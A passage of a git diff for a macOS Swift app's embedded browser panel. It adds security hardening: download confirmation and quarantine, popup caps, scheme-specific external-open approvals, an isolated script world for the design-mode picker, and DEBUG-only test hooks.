"workspaceDescriptionInput" } @@ -5306,8 +5236,6 @@ struct ContentView: View { switch commandPaletteController.commandPaletteMode { case .commands, .renameInput: break - case .renameConfirm: - return case .workspaceDescriptionInput: return } diff --git a/Sources/MainWindowController.swift b/Sources/MainWindowController.swift new file mode 100644 index 000000000..3cd6a4f0e --- /dev/null +++ b/Sources/MainWindowController.swift @@ -0,0 +1,13 @@ +import AppKit + +/// Strong owner for a main window created by `AppDelegate.createMainWindow`. +/// User-initiated close confirmation lives in the close-button proxy +/// (`NSWindow.programa_mainWindowCloseButtonPressed`, WindowSwizzles.swift) so it also +/// covers the SwiftUI launch window, whose delegate SwiftUI owns. +final class MainWindowController: NSWindowController, NSWindowDelegate { + var onClose: (() -> Void)? + + func windowWillClose(_ notification: Notification) { + onClose?() + } +} diff --git a/Sources/Panels/BrowserDownloadDelegate.swift b/Sources/Panels/BrowserDownloadDelegate.swift index 12dc84fd6..67bd2664c 100644 --- a/Sources/Panels/BrowserDownloadDelegate.swift +++ b/Sources/Panels/BrowserDownloadDelegate.swift @@ -25,10 +25,13 @@ class BrowserDownloadDelegate: NSObject, WKDownloadDelegate { private struct DownloadState { let tempURL: URL let suggestedFilename: String + let originURL: URL? } /// Tracks active downloads keyed by WKDownload identity. private var activeDownloads: [ObjectIdentifier: DownloadState] = [:] + /// Downloads the user declined at the no-gesture prompt; their cancellation is not a failure. + private var declinedDownloads: Set = [] private let activeDownloadsLock = NSLock() var onDownloadStarted: ((String) -> Void)? var onDownloadReadyToSave: (() -> Void)? @@ -123,15 +126,95 @@ class BrowserDownloadDelegate: NSObject, WKDownloadDelegate { let tempFilename = "\(UUID().uuidString)-\(safeFilename)" let destURL = Self.tempDir.appendingPathComponent(tempFilename, isDirectory: false) try? FileManager.default.removeItem(at: destURL) - storeState(DownloadState(tempURL: destURL, suggestedFilename: safeFilename), for: download) - notifyOnMain { [weak self] in - self?.onDownloadStarted?(safeFilename) + let originURL = response.url ?? download.originalRequest?.url + let proceed = { [weak self] in + self?.storeState(DownloadState(tempURL: destURL, suggestedFilename: safeFilename, originURL: originURL), for: download) + self?.notifyOnMain { [weak self] in + self?.onDownloadStarted?(safeFilename) + } + #if DEBUG + dlog("download.decideDestination file=\(safeFilename)") + #endif + NSLog("BrowserPanel download: temp path=%@", destURL.path) + completionHandler(destURL) + } + // A download a real click or key press started proceeds; one a page started on its + // own (timer, script) asks first. + notifyOnMain { + MainActor.assumeIsolated { + let webView = download.webView + if (webView as? ProgramaWebView)?.hasRecentNativeGesture() == true { + proceed() + return + } + Self.confirmUnrequestedDownload( + filename: safeFilename, + sourceHost: webView?.url?.host ?? originURL?.host, + window: webView?.window + ) { allowed in + if allowed { + proceed() + } else { + #if DEBUG + dlog("download.decideDestination file=\(safeFilename) declined=noGesture") + #endif + self.activeDownloadsLock.lock() + self.declinedDownloads.insert(ObjectIdentifier(download)) + self.activeDownloadsLock.unlock() + completionHandler(nil) + } + } + } + } + } + + @MainActor + private static func confirmUnrequestedDownload( + filename: String, + sourceHost: String?, + window: NSWindow?, + completion: @escaping (Bool) -> Void + ) { + let alert = NSAlert() + alert.alertStyle = .warning + alert.messageText = String( + format: String(localized: "shell.download.confirm.title", defaultValue: "Download “%@”?"), + filename + ) + alert.informativeText = String( + format: String( + localized: "shell.download.confirm.message", + defaultValue: "%@ started this download without a click. It will be saved to your Downloads folder." + ), + sourceHost ?? String(localized: "shell.download.confirm.unknownSource", defaultValue: "A web page") + ) + alert.addButton(withTitle: String(localized: "shell.download.confirm.download", defaultValue: "Download")) + alert.addButton(withTitle: String(localized: "common.cancel", defaultValue: "Cancel")) + let handle: (NSApplication.ModalResponse) -> Void = { completion($0 == .alertFirstButtonReturn) } + if let window { + alert.beginSheetModal(for: window, completionHandler: handle) + } else { + handle(alert.runModal()) + } + } + + /// Marks a finished download as coming from the internet so Gatekeeper checks it on open. + static func applyQuarantine(to fileURL: URL, originURL: URL?) { + var properties: [String: Any] = [ + kLSQuarantineAgentNameKey as String: Bundle.main.object(forInfoDictionaryKey: "CFBundleName") as? String ?? "Programa", + kLSQuarantineTypeKey as String: kLSQuarantineTypeWebDownload as String, + ] + if let originURL { + properties[kLSQuarantineDataURLKey as String] = originURL + } + var values = URLResourceValues() + values.quarantineProperties = properties + var mutableURL = fileURL + do { + try mutableURL.setResourceValues(values) + } catch { + NSLog("BrowserPanel download quarantine failed: %@", error.localizedDescription) } - #if DEBUG - dlog("download.decideDestination file=\(safeFilename)") - #endif - NSLog("BrowserPanel download: temp path=%@", destURL.path) - completionHandler(destURL) } func downloadDidFinish(_ download: WKDownload) { @@ -153,6 +236,7 @@ class BrowserDownloadDelegate: NSObject, WKDownloadDelegate { from: info.tempURL, to: destURL, onReady: { + Self.applyQuarantine(to: destURL, originURL: info.originURL) NSLog("BrowserPanel download saved: %@", destURL.path) self.onDownloadReadyToSave?() }, @@ -176,6 +260,10 @@ class BrowserDownloadDelegate: NSObject, WKDownloadDelegate { if let info = removeState(for: download) { try? FileManager.default.removeItem(at: info.tempURL) } + activeDownloadsLock.lock() + let wasDeclined = declinedDownloads.remove(ObjectIdentifier(download)) != nil + activeDownloadsLock.unlock() + guard !wasDeclined else { return } notifyOnMain { [weak self] in self?.onDownloadFailed?(error) } diff --git a/Sources/Panels/BrowserHistoryStore.swift b/Sources/Panels/BrowserHistoryStore.swift index 41af5c292..41b9d61a9 100644 --- a/Sources/Panels/BrowserHistoryStore.swift +++ b/Sources/Panels/BrowserHistoryStore.swift @@ -847,8 +847,12 @@ actor BrowserSearchSuggestionService { // Deterministic UI-test hook for validating remote suggestion rendering // without relying on external network behavior. +#if DEBUG let forced = ProcessInfo.processInfo.environment["PROGRAMA_UI_TEST_REMOTE_SUGGESTIONS_JSON"] ?? UserDefaults.standard.string(forKey: "PROGRAMA_UI_TEST_REMOTE_SUGGESTIONS_JSON") +#else + let forced: String? = nil +#endif if let forced, let data = forced.data(using: .utf8), let parsed = try? JSONSerialization.jsonObject(with: data) as? [Any] { diff --git a/Sources/Panels/BrowserPanel+WorkspaceLifecycle.swift b/Sources/Panels/BrowserPanel+WorkspaceLifecycle.swift index f0034b0f1..a382bea1c 100644 --- a/Sources/Panels/BrowserPanel+WorkspaceLifecycle.swift +++ b/Sources/Panels/BrowserPanel+WorkspaceLifecycle.swift @@ -120,10 +120,19 @@ func resolveBrowserNavigableURL(_ input: String) -> URL? { guard !trimmed.isEmpty else { return nil } guard !trimmed.contains(" ") else { return nil } - // Check localhost/loopback before generic URL parsing because - // URL(string: "localhost:3777") treats "localhost" as a scheme. let lower = trimmed.lowercased() - if lower.hasPrefix("localhost") || lower.hasPrefix("127.0.0.1") || lower.hasPrefix("[::1]") { + if lower == "about:blank" { + return URL(string: "about:blank") + } + if trimmed.hasPrefix("/") { + return URL(fileURLWithPath: trimmed) + } + // host:port must be matched before generic URL parsing, which reads the host as a + // scheme ("my-nas:8080", "example.com:8080", "localhost:3777"). + if trimmed.range(of: #"^[^/?#:\s]+:\d{1,5}([/?#].*)?$"#, options: .regularExpression) != nil { + return URL(string: "http://\(trimmed)") + } + if browserInputIsLoopbackHost(lower) { return URL(string: "http://\(trimmed)") } @@ -148,6 +157,19 @@ func resolveBrowserNavigableURL(_ input: String) -> URL? { return nil } +/// Exact loopback host match on the input's host part ("localhostile.com" is not loopback). +private func browserInputIsLoopbackHost(_ lowercasedInput: String) -> Bool { + let hostEnd = lowercasedInput.firstIndex(where: { "/?#".contains($0) }) ?? lowercasedInput.endIndex + let hostAndPort = lowercasedInput[.. WKWebView? { + guard openPopupCount < Self.maxOpenPopups else { +#if DEBUG + dlog("popup.blocked reason=cap count=\(openPopupCount) max=\(Self.maxOpenPopups)") +#endif + return nil + } let controller = BrowserPopupWindowController( configuration: configuration, windowFeatures: windowFeatures, diff --git a/Sources/Panels/BrowserPanelView.swift b/Sources/Panels/BrowserPanelView.swift index c9f130d8c..0d8061846 100644 --- a/Sources/Panels/BrowserPanelView.swift +++ b/Sources/Panels/BrowserPanelView.swift @@ -178,6 +178,7 @@ struct BrowserPanelView: View { } private var remoteSuggestionsEnabled: Bool { +#if DEBUG // Deterministic UI-test hook: force remote path on even if a persisted // setting disabled suggestions in previous sessions. if ProcessInfo.processInfo.environment["PROGRAMA_UI_TEST_REMOTE_SUGGESTIONS_JSON"] != nil || @@ -188,6 +189,7 @@ struct BrowserPanelView: View { if ProcessInfo.processInfo.environment["PROGRAMA_UI_TEST_DISABLE_REMOTE_SUGGESTIONS"] == "1" { return false } +#endif return searchSuggestionsEnabled } @@ -1492,8 +1494,12 @@ struct BrowserPanelView: View { } private func forcedRemoteSuggestionsForUITest() -> [String]? { +#if DEBUG let raw = ProcessInfo.processInfo.environment["PROGRAMA_UI_TEST_REMOTE_SUGGESTIONS_JSON"] ?? UserDefaults.standard.string(forKey: "PROGRAMA_UI_TEST_REMOTE_SUGGESTIONS_JSON") +#else + let raw: String? = nil +#endif guard let raw, let data = raw.data(using: .utf8), let parsed = try? JSONSerialization.jsonObject(with: data) as? [Any] else { diff --git a/Sources/Panels/BrowserPanelWebDelegates.swift b/Sources/Panels/BrowserPanelWebDelegates.swift index 390b22d95..3bbccbdc9 100644 --- a/Sources/Panels/BrowserPanelWebDelegates.swift +++ b/Sources/Panels/BrowserPanelWebDelegates.swift @@ -370,16 +370,14 @@ class BrowserNavigationDelegate: NSObject, WKNavigationDelegate { browserShouldOpenURLExternally(url) { // Only a real link click or form submit may reach the confirmation prompt; // script-driven navigations to another app are dropped. - if ExternalOpenPolicy.navigationTypeHasUserGesture(navigationAction.navigationType) { - let opened = BrowserLinkOpenSettings.openExternally(url) - #if DEBUG - dlog("browser.navigation.external source=navDelegate dispatched=\(opened ? 1 : 0) url=\(url.absoluteString)") - #endif - } else { - #if DEBUG - dlog("browser.navigation.external source=navDelegate blocked=noUserGesture url=\(url.absoluteString)") - #endif - } + let opened = ExternalOpenPolicy.openFromWebContent( + url, + navigationType: navigationAction.navigationType, + webView: webView + ) + #if DEBUG + dlog("browser.navigation.external source=navDelegate dispatched=\(opened ? 1 : 0) url=\(url.absoluteString)") + #endif decisionHandler(.cancel) return } @@ -528,16 +526,14 @@ class BrowserUIDelegate: NSObject, WKUIDelegate { // External URL schemes → hand off to macOS, don't create a popup if let url = navigationAction.request.url, browserShouldOpenURLExternally(url) { - if ExternalOpenPolicy.navigationTypeHasUserGesture(navigationAction.navigationType) { - let opened = BrowserLinkOpenSettings.openExternally(url) - #if DEBUG - dlog("browser.navigation.external source=uiDelegate dispatched=\(opened ? 1 : 0) url=\(url.absoluteString)") - #endif - } else { - #if DEBUG - dlog("browser.navigation.external source=uiDelegate blocked=noUserGesture url=\(url.absoluteString)") - #endif - } + let opened = ExternalOpenPolicy.openFromWebContent( + url, + navigationType: navigationAction.navigationType, + webView: webView + ) + #if DEBUG + dlog("browser.navigation.external source=uiDelegate dispatched=\(opened ? 1 : 0) url=\(url.absoluteString)") + #endif return nil } @@ -555,9 +551,11 @@ class BrowserUIDelegate: NSObject, WKUIDelegate { hasRecentMiddleClickIntent: ProgramaWebView.hasRecentMiddleClickIntent(for: webView) ) - if isScriptedPopup, let popupWebView = openPopup?(configuration, windowFeatures) { + if isScriptedPopup, let openPopup { + // nil means the panel refused (popup cap); do not reopen it as a tab. + let popupWebView = openPopup(configuration, windowFeatures) #if DEBUG - dlog("browser.nav.createWebView.action kind=popup") + dlog("browser.nav.createWebView.action kind=popup created=\(popupWebView == nil ? 0 : 1)") #endif return popupWebView } diff --git a/Sources/Panels/BrowserPopupWindowController.swift b/Sources/Panels/BrowserPopupWindowController.swift index 862875ce4..806f49fae 100644 --- a/Sources/Panels/BrowserPopupWindowController.swift +++ b/Sources/Panels/BrowserPopupWindowController.swift @@ -285,10 +285,27 @@ final class BrowserPopupWindowController: NSObject, NSWindowDelegate { childPopups.removeAll { $0 === child } } + var descendantPopupCount: Int { + childPopups.reduce(0) { $0 + 1 + $1.descendantPopupCount } + } + + /// Takes key focus only when the opener web view has it, so a background page's + /// popup cannot pull keystrokes away from a terminal. fileprivate func showPanelIfNeeded() { guard !hasShownPanel else { return } hasShownPanel = true - panel.makeKeyAndOrderFront(self) + if openerHasKeyFocus { + panel.makeKeyAndOrderFront(self) + } else { + panel.orderFront(self) + } + } + + private var openerHasKeyFocus: Bool { + guard let opener = parentPopupController?.webView ?? openerPanel?.webView, + let window = opener.window, window.isKeyWindow, + let responder = window.firstResponder as? NSView else { return false } + return responder === opener || responder.isDescendant(of: opener) } func setBrowserThemeMode(_ mode: BrowserThemeMode) { @@ -348,6 +365,9 @@ final class BrowserPopupWindowController: NSObject, NSWindowDelegate { windowFeatures: WKWindowFeatures ) -> WKWebView? { let nextDepth = nestingDepth + 1 + if let openerPanel, openerPanel.openPopupCount >= BrowserPanel.maxOpenPopups { + return nil + } if nextDepth > Self.maxNestingDepth { #if DEBUG dlog("popup.nested.blocked depth=\(nextDepth) max=\(Self.maxNestingDepth)") @@ -454,7 +474,7 @@ private class PopupUIDelegate: NSObject, WKUIDelegate { // External URL check if let url = navigationAction.request.url, browserShouldOpenURLExternally(url) { - BrowserLinkOpenSettings.openExternally(url) + ExternalOpenPolicy.openFromWebContent(url, navigationType: navigationAction.navigationType, webView: webView) return nil } @@ -565,9 +585,7 @@ private class PopupNavigationDelegate: NSObject, WKNavigationDelegate { // External URL schemes → hand off to macOS if browserShouldOpenURLExternally(url) { - if ExternalOpenPolicy.navigationTypeHasUserGesture(navigationAction.navigationType) { - BrowserLinkOpenSettings.openExternally(url) - } + ExternalOpenPolicy.openFromWebContent(url, navigationType: navigationAction.navigationType, webView: webView) #if DEBUG dlog("popup.nav.external url=\(url.absoluteString) gesture=\(ExternalOpenPolicy.navigationTypeHasUserGesture(navigationAction.navigationType) ? 1 : 0)") #endif diff --git a/Sources/Panels/BrowserSettings.swift b/Sources/Panels/BrowserSettings.swift index ae5396a9d..f5fc2f599 100644 --- a/Sources/Panels/BrowserSettings.swift +++ b/Sources/Panels/BrowserSettings.swift @@ -2,11 +2,6 @@ import Foundation import WebKit import AppKit -struct BrowserProxyEndpoint: Equatable { - let host: String - let port: Int -} - enum GhosttyBackgroundTheme { static func clampedOpacity(_ opacity: Double) -> CGFloat { CGFloat(max(0.0, min(1.0, opacity))) @@ -301,9 +296,21 @@ enum BrowserLinkOpenSettings { /// The launch is asynchronous, so `true` means the launch (or the confirmation /// prompt) was dispatched, not that it finished; a launch error is logged, not surfaced. @discardableResult - static func openExternally(_ url: URL, defaults: UserDefaults = .standard, workspace: NSWorkspace = .shared) -> Bool { + static func openExternally( + _ url: URL, + defaults: UserDefaults = .standard, + workspace: NSWorkspace = .shared, + sourceHost: String? = nil, + allowRememberedApproval: Bool = true + ) -> Bool { if !ExternalOpenPolicy.opensWithoutPrompt(url) { - return ExternalOpenPolicy.confirmAndOpen(url, defaults: defaults, workspace: workspace) + return ExternalOpenPolicy.confirmAndOpen( + url, + defaults: defaults, + workspace: workspace, + sourceHost: sourceHost, + allowRememberedApproval: allowRememberedApproval + ) } let scheme = url.scheme?.lowercased() let isWebLink = scheme == "http" || scheme == "https" @@ -628,7 +635,14 @@ enum ExternalOpenPolicy { static let maxRemembered = 200 private static let freeSchemes: Set = ["http", "https", "mailto"] - private static let executableExtensions: Set = ["app", "command", "sh", "tool"] + /// Runnable or launch-redirecting file types. `terminal`/`jar`/`workflow` execute; `fileloc`, + /// `inetloc` and `webloc` re-target LaunchServices to another location. + private static let executableExtensions: Set = [ + "app", "command", "sh", "tool", "terminal", "jar", "fileloc", "inetloc", "webloc", "workflow", + ] + /// How recent a native click or key press on the originating web view must be for a + /// remembered "Always allow" to skip the prompt. Script-forged navigation types do not count. + static let nativeGestureWindow: TimeInterval = 1.0 enum Requirement: Equatable { case openWithoutPrompt @@ -645,6 +659,35 @@ enum ExternalOpenPolicy { type == .linkActivated || type == .formSubmitted } + /// True when any of `timestamps` (system uptime, as `NSEvent.timestamp`) is within + /// `nativeGestureWindow` before `now`. + static func isRecentNativeGesture(_ timestamps: [TimeInterval?], now: TimeInterval) -> Bool { + timestamps.contains { timestamp in + guard let timestamp else { return false } + let age = now - timestamp + return age >= 0 && age <= nativeGestureWindow + } + } + + /// External open requested by web content. Needs a link-click/form navigation type; a + /// remembered approval applies only after a native gesture on that web view, else it prompts. + @discardableResult + static func openFromWebContent(_ url: URL, navigationType: WKNavigationType, webView: WKWebView) -> Bool { + guard navigationTypeHasUserGesture(navigationType) else { return false } + let hadNativeGesture = (webView as? ProgramaWebView)?.hasRecentNativeGesture() ?? false + return BrowserLinkOpenSettings.openExternally( + url, + sourceHost: webView.url?.host, + allowRememberedApproval: hadNativeGesture + ) + } + + /// Allowlist entries are `bundleId|scheme`, so approving Terminal for `ssh` never approves + /// Terminal for another scheme or a file. + static func allowlistKey(bundleIdentifier: String, scheme: String) -> String { + "\(bundleIdentifier)|\(scheme.lowercased())" + } + /// App bundles and anything runnable. These always prompt, even for an allow-listed app. static func targetIsExecutable(_ url: URL, fileManager: FileManager = .default) -> Bool { guard url.isFileURL else { return false } @@ -665,29 +708,43 @@ enum ExternalOpenPolicy { for url: URL, handlerBundleIdentifier: String?, allowlist: [String], - targetIsExecutable: Bool + targetIsExecutable: Bool, + allowRememberedApproval: Bool = true ) -> Requirement { if opensWithoutPrompt(url) { return .openWithoutPrompt } - if targetIsExecutable { return .prompt(offerAlwaysAllow: false) } - if let handlerBundleIdentifier, allowlist.contains(handlerBundleIdentifier) { + // Files never get a remembered approval: the handler app is not the risk, the file is. + if targetIsExecutable || url.isFileURL { return .prompt(offerAlwaysAllow: false) } + if allowRememberedApproval, + let handlerBundleIdentifier, + let scheme = url.scheme, + allowlist.contains(allowlistKey(bundleIdentifier: handlerBundleIdentifier, scheme: scheme)) { return .openWithoutPrompt } return .prompt(offerAlwaysAllow: handlerBundleIdentifier != nil) } + /// Remembered `bundleId|scheme` entries. Legacy bundle-only entries are dropped, so those + /// apps prompt once more. static func allowlist(defaults: UserDefaults = .standard) -> [String] { (defaults.string(forKey: allowlistKey) ?? "") .components(separatedBy: .newlines) .map { $0.trimmingCharacters(in: .whitespacesAndNewlines) } - .filter { !$0.isEmpty } + .filter { entry in + let parts = entry.split(separator: "|", omittingEmptySubsequences: false) + return parts.count == 2 && !parts[0].isEmpty && !parts[1].isEmpty + } } - static func addToAllowlist(_ bundleIdentifier: String, defaults: UserDefaults = .standard) { + static func addToAllowlist(_ bundleIdentifier: String, scheme: String, defaults: UserDefaults = .standard) { let trimmed = bundleIdentifier.trimmingCharacters(in: .whitespacesAndNewlines) - guard !trimmed.isEmpty, !trimmed.contains("\n") else { return } + let trimmedScheme = scheme.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty, !trimmedScheme.isEmpty, + !trimmed.contains("\n"), !trimmed.contains("|"), + !trimmedScheme.contains("\n"), !trimmedScheme.contains("|") else { return } + let key = allowlistKey(bundleIdentifier: trimmed, scheme: trimmedScheme) var entries = allowlist(defaults: defaults) - guard !entries.contains(trimmed), entries.count < maxRemembered else { return } - entries.append(trimmed) + guard !entries.contains(key), entries.count < maxRemembered else { return } + entries.append(key) defaults.set(entries.joined(separator: "\n"), forKey: allowlistKey) } @@ -703,7 +760,9 @@ enum ExternalOpenPolicy { _ url: URL, defaults: UserDefaults = .standard, workspace: NSWorkspace = .shared, - window: NSWindow? = nil + window: NSWindow? = nil, + sourceHost: String? = nil, + allowRememberedApproval: Bool = true ) -> Bool { let handlerURL = workspace.urlForApplication(toOpen: url) let handlerBundleIdentifier = handlerURL.flatMap { Bundle(url: $0)?.bundleIdentifier } @@ -711,7 +770,8 @@ enum ExternalOpenPolicy { for: url, handlerBundleIdentifier: handlerBundleIdentifier, allowlist: allowlist(defaults: defaults), - targetIsExecutable: targetIsExecutable(url) + targetIsExecutable: targetIsExecutable(url), + allowRememberedApproval: allowRememberedApproval ) switch requirement { case .openWithoutPrompt: @@ -722,7 +782,13 @@ enum ExternalOpenPolicy { let alert = NSAlert() alert.alertStyle = .warning alert.messageText = String(localized: "externalOpen.title", defaultValue: "Open in \(appName)?") - alert.informativeText = url.isFileURL ? url.path : url.absoluteString + let target = url.isFileURL ? url.path : url.absoluteString + if let sourceHost, !sourceHost.isEmpty { + let format = String(localized: "shell.externalOpen.requestedBy", defaultValue: "Requested by %@") + alert.informativeText = target + "\n\n" + String(format: format, sourceHost) + } else { + alert.informativeText = target + } alert.addButton(withTitle: String(localized: "externalOpen.open", defaultValue: "Open")) alert.addButton(withTitle: String(localized: "common.cancel", defaultValue: "Cancel")) if offerAlwaysAllow { @@ -736,8 +802,9 @@ enum ExternalOpenPolicy { guard response == .alertFirstButtonReturn else { return } if offerAlwaysAllow, alert.suppressionButton?.state == .on, - let handlerBundleIdentifier { - addToAllowlist(handlerBundleIdentifier, defaults: defaults) + let handlerBundleIdentifier, + let scheme = url.scheme { + addToAllowlist(handlerBundleIdentifier, scheme: scheme, defaults: defaults) } if !workspace.open(url) { NSLog("ExternalOpenPolicy: failed to open %@", url.absoluteString) diff --git a/Sources/Panels/DesignMode.swift b/Sources/Panels/DesignMode.swift index 4bd9e1b04..5efd3ffc0 100644 --- a/Sources/Panels/DesignMode.swift +++ b/Sources/Panels/DesignMode.swift @@ -67,8 +67,9 @@ struct DesignModePickRect: Equatable { struct DesignModePickPayload: Equatable { static let htmlTruncationLimit = 4000 - static let truncationMarker = "\n... [truncated]" + static let truncationMarker = " ... [truncated]" static let fieldLengthLimit = 2000 + static let cssKeyLimit = 64 let html: String let css: [String: String] @@ -77,11 +78,11 @@ struct DesignModePickPayload: Equatable { let url: String init(html: String, css: [String: String], selector: String, rect: DesignModePickRect, url: String) { - self.html = Self.truncatedHTML(html) // The page script is untrusted and these fields land in a terminal: no line breaks, bounded length. + self.html = Self.truncatedHTML(Self.singleLineHTML(html)) var cleanCSS: [String: String] = [:] - for (key, value) in css { - cleanCSS[Self.singleLine(key)] = Self.singleLine(value) + for key in css.keys.sorted().prefix(Self.cssKeyLimit) { + cleanCSS[Self.singleLine(key)] = Self.singleLine(css[key] ?? "") } self.css = cleanCSS self.selector = Self.singleLine(selector) @@ -89,6 +90,11 @@ struct DesignModePickPayload: Equatable { self.url = Self.singleLine(url) } + /// Line breaks become spaces so markup stays readable on one line. + static func singleLineHTML(_ value: String) -> String { + String(String.UnicodeScalarView(value.unicodeScalars.map { $0 == "\n" || $0 == "\r" ? " " : $0 })) + } + static func singleLine(_ value: String) -> String { let stripped = value.unicodeScalars.filter { $0 != "\n" && $0 != "\r" } return String(String.UnicodeScalarView(stripped).prefix(fieldLengthLimit)) @@ -141,7 +147,29 @@ struct DesignModePickPayload: Equatable { // MARK: - Text composition (pure, unit-testable) enum DesignModeTextComposer { + static let maxComposedBytes = 16 * 1024 + static func compose(payload: DesignModePickPayload, screenshotPath: String?) -> String { + capped(composeUncapped(payload: payload, screenshotPath: screenshotPath)) + } + + /// Bounds the block typed into the terminal, cutting on a character boundary. + static func capped(_ text: String) -> String { + guard text.utf8.count > maxComposedBytes else { return text } + let marker = DesignModePickPayload.truncationMarker + let budget = maxComposedBytes - marker.utf8.count + var out = "" + var used = 0 + for character in text { + let size = character.utf8.count + if used + size > budget { break } + out.append(character) + used += size + } + return out + marker + } + + private static func composeUncapped(payload: DesignModePickPayload, screenshotPath: String?) -> String { var lines: [String] = [] lines.append("Element: \(payload.selector)") lines.append("URL: \(payload.url)") @@ -274,6 +302,10 @@ func activateDesignModeRoute(in workspace: Workspace) -> Bool { // MARK: - WKScriptMessageHandler private let designModeMessageHandlerName = "programaDesignMode" +/// The picker runs in its own JS world: page scripts cannot see its globals or post to its handler. +private let designModeContentWorld = WKContentWorld.world(name: "programa.designMode") +/// An armed return target older than this is dropped instead of receiving a capture. +private let designModeReturnTargetLifetime: TimeInterval = 10 * 60 /// A `pick` posted by the page script counts only when it follows a real click in the web view; /// the script itself cannot be trusted to prove a user acted. @@ -307,9 +339,9 @@ enum DesignModeBridgeMessage { } class DesignModeMessageHandler: NSObject, WKScriptMessageHandler { - private let onMessage: @MainActor (DesignModeBridgeMessage) -> Void + private let onMessage: @MainActor (DesignModeBridgeMessage, WKWebView?) -> Void - init(onMessage: @escaping @MainActor (DesignModeBridgeMessage) -> Void) { + init(onMessage: @escaping @MainActor (DesignModeBridgeMessage, WKWebView?) -> Void) { self.onMessage = onMessage } @@ -325,8 +357,9 @@ class DesignModeMessageHandler: NSObject, WKScriptMessageHandler { } guard let body = message.body as? [String: Any], let bridgeMessage = DesignModeBridgeMessage(body: body) else { return } + let sourceWebView = message.webView Task { @MainActor in - onMessage(bridgeMessage) + onMessage(bridgeMessage, sourceWebView) } } } @@ -457,8 +490,9 @@ enum DesignModePickerScript { e.preventDefault(); e.stopPropagation(); var el = lastTarget || document.elementFromPoint(e.clientX, e.clientY); - deactivate(); + // pick before deactivate: the app accepts a pick only while the picker is active. if (el) pick(el); + deactivate(); } function onKeyDown(e) { @@ -510,26 +544,56 @@ enum DesignModePickerScript { extension BrowserPanel { func setupDesignModeMessageHandler(for webView: WKWebView) { - let handler = DesignModeMessageHandler { [weak self] message in - self?.handleDesignModeBridgeMessage(message) + let handler = DesignModeMessageHandler { [weak self] message, sourceWebView in + self?.handleDesignModeBridgeMessage(message, from: sourceWebView) } designModeMessageHandler = handler - webView.configuration.userContentController.add(handler, name: designModeMessageHandlerName) + webView.configuration.userContentController.add( + handler, + contentWorld: designModeContentWorld, + name: designModeMessageHandlerName + ) } func armDesignModeRoundTrip(returnTo panelId: UUID) { pendingDesignModeReturnTargetPanelId = panelId + pendingDesignModeReturnTargetArmedAt = ProcessInfo.processInfo.systemUptime } func clearDesignModeRoundTrip(reason: String = "unspecified") { pendingDesignModeReturnTargetPanelId = nil + pendingDesignModeReturnTargetArmedAt = nil } - func handleDesignModeBridgeMessage(_ message: DesignModeBridgeMessage) { + /// A committed main-frame navigation or reload drops the page's picker script, so the + /// picker state and any armed return target end with it. + func resetDesignModeForMainFrameCommit() { + isDesignModeActive = false + clearDesignModeRoundTrip(reason: "mainFrameCommit") + } + + func handleDesignModeBridgeMessage(_ message: DesignModeBridgeMessage, from sourceWebView: WKWebView?) { + guard sourceWebView === webView else { +#if DEBUG + dlog("designMode.message dropped: stale web view") +#endif + return + } switch message { case .stateChange(let isActive): isDesignModeActive = isActive + if !isActive, pendingDesignModeReturnTargetPanelId != nil { + // Escape ends the round trip; a later click must not paste. A pick arrives + // before its own deactivation and has already consumed the target. + clearDesignModeRoundTrip(reason: "deactivated") + } case .pick(let payload): + guard isDesignModeActive else { +#if DEBUG + dlog("designMode.pick dropped: picker inactive") +#endif + return + } let lastMouseDown = (webView as? ProgramaWebView)?.lastPrimaryMouseDownTimestamp guard DesignModePickGate.accepts( lastNativeMouseDown: lastMouseDown, @@ -540,9 +604,12 @@ extension BrowserPanel { #endif return } - guard let returnPanelId = pendingDesignModeReturnTargetPanelId else { - // No return terminal armed (e.g. focused directly inside the browser panel with - // no terminal to return to): drop the capture. + guard let returnPanelId = pendingDesignModeReturnTargetPanelId, + let armedAt = pendingDesignModeReturnTargetArmedAt, + ProcessInfo.processInfo.systemUptime - armedAt <= designModeReturnTargetLifetime else { + // No (or an expired) return terminal armed, e.g. focused directly inside the + // browser panel with no terminal to return to: drop the capture. + clearDesignModeRoundTrip(reason: "pick.noTarget") return } clearDesignModeRoundTrip(reason: "pick") @@ -569,10 +636,17 @@ extension BrowserPanel { func injectDesignMode() async { let script = DesignModePickerScript.source(handlerName: designModeMessageHandlerName) - do { - _ = try await webView.evaluateJavaScript(script) - } catch { - NSLog("DesignMode: injection failed: %@", error.localizedDescription) + let failure: Error? = await withCheckedContinuation { continuation in + webView.evaluateJavaScript(script, in: nil, in: designModeContentWorld) { result in + if case .failure(let error) = result { + continuation.resume(returning: error) + } else { + continuation.resume(returning: nil) + } + } + } + if let failure { + NSLog("DesignMode: injection failed: %@", failure.localizedDescription) isDesignModeActive = false } } @@ -580,6 +654,8 @@ extension BrowserPanel { func toggleDesignMode() { webView.evaluateJavaScript( "window.__PROGRAMA_DESIGN_MODE__ && window.__PROGRAMA_DESIGN_MODE__.toggle();", + in: nil, + in: designModeContentWorld, completionHandler: nil ) } diff --git a/Sources/Panels/InspectorDock.swift b/Sources/Panels/InspectorDock.swift index 0f47c0c2b..1a4bcca27 100644 --- a/Sources/Panels/InspectorDock.swift +++ b/Sources/Panels/InspectorDock.swift @@ -1,4 +1,5 @@ import AppKit +import WebKit /// Canonical helpers for detecting and reasoning about WebKit's hosted Web Inspector /// (the attached "WKInspector*" view hierarchy) inside the browser view stack. @@ -18,6 +19,17 @@ enum InspectorDock { String(describing: type(of: view)).contains("WKInspector") } + /// Cheap pre-check run on pointer events: WebKit attaches a docked inspector as a sibling + /// of the inspected web view, so without a second web view (or WKInspector view) among + /// `host`'s direct subviews there is no inspector divider to find and no subtree to walk. + static func mayHostAttachedInspector(_ host: NSView) -> Bool { + host.subviews.contains { view in + if view is ProgramaWebView { return false } + if view is WKWebView { return true } + return isInspectorView(view) + } + } + /// Depth-first flattening of every descendant of `root` (not including `root` itself). static func visibleDescendants(in root: NSView) -> [NSView] { var descendants: [NSView] = [] diff --git a/Sources/Panels/MarkdownDocumentView.swift b/Sources/Panels/MarkdownDocumentView.swift index 81fc8fa76..3ce4812bb 100644 --- a/Sources/Panels/MarkdownDocumentView.swift +++ b/Sources/Panels/MarkdownDocumentView.swift @@ -369,6 +369,27 @@ struct MarkdownCodeBlockView: View { } } +// MARK: - Link routing + +/// Links in rendered Markdown: web and mail links open as usual, Markdown files open in a +/// Markdown panel, and every other target goes through `ExternalOpenPolicy`'s prompt, so a +/// README cannot launch `x.command` with one click. +@MainActor +enum MarkdownLinkRouter { + static func open(_ url: 